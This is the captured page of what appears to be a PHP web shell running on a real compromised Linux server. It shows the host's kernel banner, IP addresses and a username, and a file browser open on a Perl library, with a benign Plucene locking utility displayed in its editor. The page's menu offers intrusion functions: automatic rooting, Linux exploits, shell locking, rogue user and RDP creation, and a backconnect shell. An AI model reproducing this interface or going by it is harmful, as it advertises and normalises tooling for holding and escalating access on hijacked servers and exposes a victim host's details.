Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Plucene /
[ HOME SHELL ]
Name
Size
Permission
Action
Analysis
[ DIR ]
drwxr-xr-x
Document
[ DIR ]
drwxr-xr-x
Index
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Store
[ DIR ]
drwxr-xr-x
Bitvector.pm
2.04
KB
-rw-r--r--
Document.pm
1.44
KB
-rw-r--r--
QueryParser.pm
6.54
KB
-rw-r--r--
TestCase.pm
3.42
KB
-rw-r--r--
Utils.pm
702
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Utils.pm
package Plucene::Utils; =head1 NAME Plucene::Utils - Utility class for Plucene =head1 SYNOPSIS use Plucene::Utils; do_locked($sub, $lock); =head1 DESCRIPTION Utilities to help with Plucene. =head1 METHODS =cut use strict; use warnings; use Carp; use Fcntl qw(O_EXCL O_CREAT O_WRONLY); use base 'Exporter'; our @EXPORT = qw( do_locked ); =head2 do_locked do_locked($sub, $lock); =cut sub do_locked (&$) { my ($sub, $lock) = @_; local *FH; for (1 .. 5) { sysopen FH, $lock, O_EXCL | O_CREAT | O_WRONLY and goto got_lock; sleep 1; warn "I had to sleep to get a lock on $lock"; } carp "Couldn't get lock $lock: $!"; got_lock: $sub->(); close *FH; unlink $lock; } 1;
Close
